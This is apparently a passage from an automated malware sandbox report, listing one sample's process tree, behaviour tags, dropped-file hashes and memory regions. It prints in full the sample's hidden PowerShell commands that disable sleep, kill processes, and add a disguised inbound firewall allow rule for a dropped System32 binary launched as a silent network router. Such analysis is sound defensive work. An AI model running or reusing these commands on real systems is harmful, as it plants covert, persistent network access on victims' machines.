"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "standby-timeout-ac" "0"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2964

C:\Windows\system32\powercfg.exe
"C:\Windows\system32\powercfg.exe" -change standby-timeout-ac 0
3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "standby-timeout-dc" "0"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3092

C:\Windows\system32\powercfg.exe
"C:\Windows\system32\powercfg.exe" -change standby-timeout-dc 0
3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "hibernate-timeout-ac" "0"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4744

C:\Windows\system32\powercfg.exe
"C:\Windows\system32\powercfg.exe" -change hibernate-timeout-ac 0
3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-change" "hibernate-timeout-dc" "0"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1556

C:\Windows\system32\powercfg.exe
"C:\Windows\system32\powercfg.exe" -change hibernate-timeout-dc 0
3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "winnet.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4220

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "winnet.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2176

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "wincfg.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3228

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "wincfg.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Remove-NetFirewallRule" "-DisplayName" "\"Windows Network Manager\""
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "New-NetFirewallRule" "-DisplayName" "\"Windows Network Manager\"" "-Program" "\"C:\Windows\system32\winnet.exe\"" "-Action" "Allow" "-Direction" "Inbound" "-EdgeTraversalPolicy" "Allow" "-Enabled" "True"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4840

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINNET.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:744

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINCFG.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2528

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINNET.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2964

C:\Windows\system32\taskkill.exe
"taskkill.exe" "/F" "/IM" "WINCFG.exe"
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3088

C:\WINDOWS\SYSTEM32\WINCFG.EXE
"C:\WINDOWS\SYSTEM32\WINCFG.EXE"
2⤵
- Executes dropped EXE
PID:4952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-Command" "&" "taskkill.exe" "/F" "/PID" "4952"
3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Windows\system32\taskkill.exe
"C:\Windows\system32\taskkill.exe" /F /PID 4952
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1724

C:\WINDOWS\SYSTEM32\WINNET.EXE
"C:\WINDOWS\SYSTEM32\WINNET.EXE" "--datadir=C:\Windows\system32\data" "--precomputation.elgamal=false" "--persist.profiles=false" "--persist.addressbook=false" "--cpuext.aesni" "--cpuext.avx" "--ipv4" "--ipv6" "--bandwidth=X" "--share=100" "--floodfill" "--nat" "--upnp.enabled=true" "--upnp.name=Microsoft" "--insomnia" "--nettime.enabled=true" "--nettime.ntpsyncinterval=1" "--sam.enabled=true" "--sam.singlethread=false" "--http.enabled=false" "--bob.enabled=false" "--httpproxy.enabled=false" "--socksproxy.enabled=false" "--i2cp.enabled=false" "--i2pcontrol.enabled=false" "--loglevel=none" "--log=stdout"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1768

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_msyddyag.15z.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403-fe07e4be3654928b\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
Filesize
41.6MB

MD5
312c3e03890f7d5242fe2158acabd4e8

SHA1
d148cf18f876b55c03f2718bfff321b7d6287f87

SHA256
6ac290f077cd4228dff7dc37a4c37e0a675207ad345543e8cd01008ce67ea751

SHA512
da0e5c199a7ab586a17dd7b74cc4b6727ac5c9efcb3397b45f8806a6418c20bfc7515804ca10e2a9c52b207b56f3a56c86e3c3be646ffe27f988c59b0bc66971

Download Submit
C:\WINDOWS\SYSTEM32\WINCFG.EXE
Filesize
34.1MB

MD5
cd89e8bcf1dbd9fc74f86c82e7f86342

SHA1
a3c83b002d1959507ea04c099eb64965e054819b

SHA256
593600fd2242a51c5eef3f33d7c0df33e01f3b71f065faf403298898ef378a21

SHA512
0f8fc35ead17930b2741771b15ec97a85b26db3e8a56e68ba67bea53e0e954af0754e79f22c31bbe8f52564759d456281d4fccb1a645d120f2dd938c88e00ab2

Download Submit
C:\Windows\System32\data\router.info
Filesize
931B

MD5
660b0889b1b8c4e753f402f6f872407e

SHA1
8aa0d28bbc9b6b84c9094c3dd21a3bd843b598eb

SHA256
19b6c85d2915c766094b37a4ffd78a55e0b1d265b5fbdeb8d30ceb389102e3b5

SHA512
a896cb39d163dc484d5c47fbec4b1ede7d807b9a86b6b81fedd0964d4e4d1ede2ce9bfb1af5982858cb99c6b2b64b8fe620ecc7b21e5352785abccfec9eaec9e

Download Submit
C:\Windows\System32\winnet.exe
Filesize
9.1MB

MD5
2fdbf4ba6ab24cf44aa0cc08cd77ca66

SHA1
df5e034ba45a932b9f5d3ed7adc4a71e0b376984

SHA256
fcd362e0632b35dad13a87f09ea6da4d07fa89516f42d64236d2cc3e3b2b725b

SHA512
81d73f7540ede7337922dc18fc6b110c87f621bc0349c3fa17f50d1cb924b0d9b30a4a772b2d548238b65a1be43d458f1991320e7308e608c6cf40ccc3e59a51

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
583ed74e75aae95b8bd806f62a5482fc

SHA1
148b5fc38617104c29bccd496eb64d33da66b5a4

SHA256
634acd9e6b71bcf356be1910745bd80cda2308afa5693ceb9e8cd996b032b3b8

SHA512
95125563c0b668e4e40bf45aa462466037c81559f13252c2289f7aa88e52b765e79965205ee1585926c08f878603f34a1adb3080e916e28e4cea653670f9fd49

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
dc77912465ec56d3e259b8a24c2013d4

SHA1
0a6c60fc297d3a9e6aad1172934f9f6d297730f4

SHA256
801748586fcb428e11b8de4151019a29a6a0f3d82865950df79d53da85d5ef70

SHA512
27dc360e715851b91806362e2163696af59657eb1b348c85781c50a27d590dce759cf83905f993acebd29d6d7c837f70f6ea81aa87e0aee075468026b0ba9024

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
8857491a4a65a9a1d560c4705786a312

SHA1
4f3caf2ad5d66a2410c9cca0381d26a46e832cb4

SHA256
b6e1a16a11075cb4e0bae0cebdb6ac15f5d66e0005f557703708a04cd11bd360

SHA512
d9497c47898cdc4c4fc62158830dc931990e08bb4a28a5d19d4187a87a2afab8a4bd58ca346563210b476c9adb9a714bfe1057e0ebce85d1fd94731be6d02660

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
a316ebd4efa11d6b6daf6af0cc1aebce

SHA1
ab338dd719969c70590dbc039b90e2758c741762

SHA256
f7308f111e3910da5c34c4d06d78d692f44419f848f5bf886fd466d5a96ad014

SHA512
67a9b94b704222a1bbe02fa8780c6b9bd364c8581b693ca28c6a444fde160df216304426bacf6b01909b80540cf0add79669b7a88ca260a6fbc93c4742f36c5a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
2ad33642f863ae14ee53bc6853ee330e

SHA1
ca81cc7d8c33a46ebe97bc1d3db55e41a813029e

SHA256
17c7b3c895766071a0d87318ec4134a9032ed113b46d3ba75889819a61a9cc19

SHA512
52c59a7bde3751e07da53f3942c15cc3e19a4bf1929fbc28ae568ed96531852747b4f724e01438e159c4c98bf2d846db205c48e32f4b5984e9fddeb936eb8aa9

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
96e66c6151c6ef0aa0810f6b2896f65b

SHA1
0191114d00782a6fe104cb07f1797238ee5e0136

SHA256
22074d71dbf4636080ee3b4af53612f2f1c6b0fd1dfb2e18893d267e60f3d06d

SHA512
e7999e91eafe60a06366ec10565265f5517fd5f8f5fceb2ef86816752b6ed1700c80a49babd84e1beab63413e71a8637174438a4dfe6f0bcc846641d83fad982

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
21c9a76a5c623b7b02f459f171d4e673

SHA1
f12a34f5e72dbb214c3dd3970e211b7b3f6d5307

SHA256
6339a698ee141d700e720dd0eeb77688b808f3c59f90fb62a9357d212a92db68

SHA512
d7ee7a79ca6ee94c76a6c62b82096fbb9e01f729f534ed522389571add5b152769a0b4835584ad1d9c4c5ea8cc09951f18cbb4257e5566eeed97f85319cffafe

Download Submit
memory/1768-266-0x00007FF7DD700000-0x00007FF7DE02C000-memory.dmp

Filesize
9.2MB

Download
memory/2228-69-0x00007FF6DDB90000-0x00007FF6DDBA0000-memory.dmp

Filesize
64KB

Download
memory/2228-68-0x00007FF6DDB80000-0x00007FF6DDB90000-memory.dmp

Filesize
64KB

Download
memory/3432-13-0x000002377B3D0000-0x000002377B3F2000-memory.dmp

Filesize
136KB

Download
memory/3864-100-0x000001B9DD850000-0x000001B9DD85A000-memory.dmp

Filesize
40KB

Download
memory/3864-99-0x000001B9DD840000-0x000001B9DD846000-memory.dmp

Filesize
24KB

Download
memory/3864-98-0x000001B9DD810000-0x000001B9DD818000-memory.dmp

Filesize
32KB

Download
memory/3864-97-0x000001B9DD860000-0x000001B9DD87A000-memory.dmp

Filesize
104KB

Download
memory/3864-96-0x000001B9DD800000-0x000001B9DD80A000-memory.dmp

Filesize
40KB

Download
memory/3864-95-0x000001B9DD820000-0x000001B9DD83C000-memory.dmp

Filesize
112KB

Download
memory/3864-94-0x000001B9DD6B0000-0x000001B9DD6BA000-memory.dmp

Filesize
40KB

Download
memory/3864-93-0x000001B9DD5F0000-0x000001B9DD6A5000-memory.dmp

Filesize
724KB

Download
memory/3864-92-0x000001B9DD5D0000-0x000001B9DD5EC000-memory.dmp

Filesize
112KB

Download
memory/4580-214-0x00000182A6E80000-0x00000182A6E8E000-memory.dmp

Filesize
56KB

Download
memory/4580-215-0x00000182A6EE0000-0x00000182A6EFA000-memory.dmp

Filesize
104KB

Download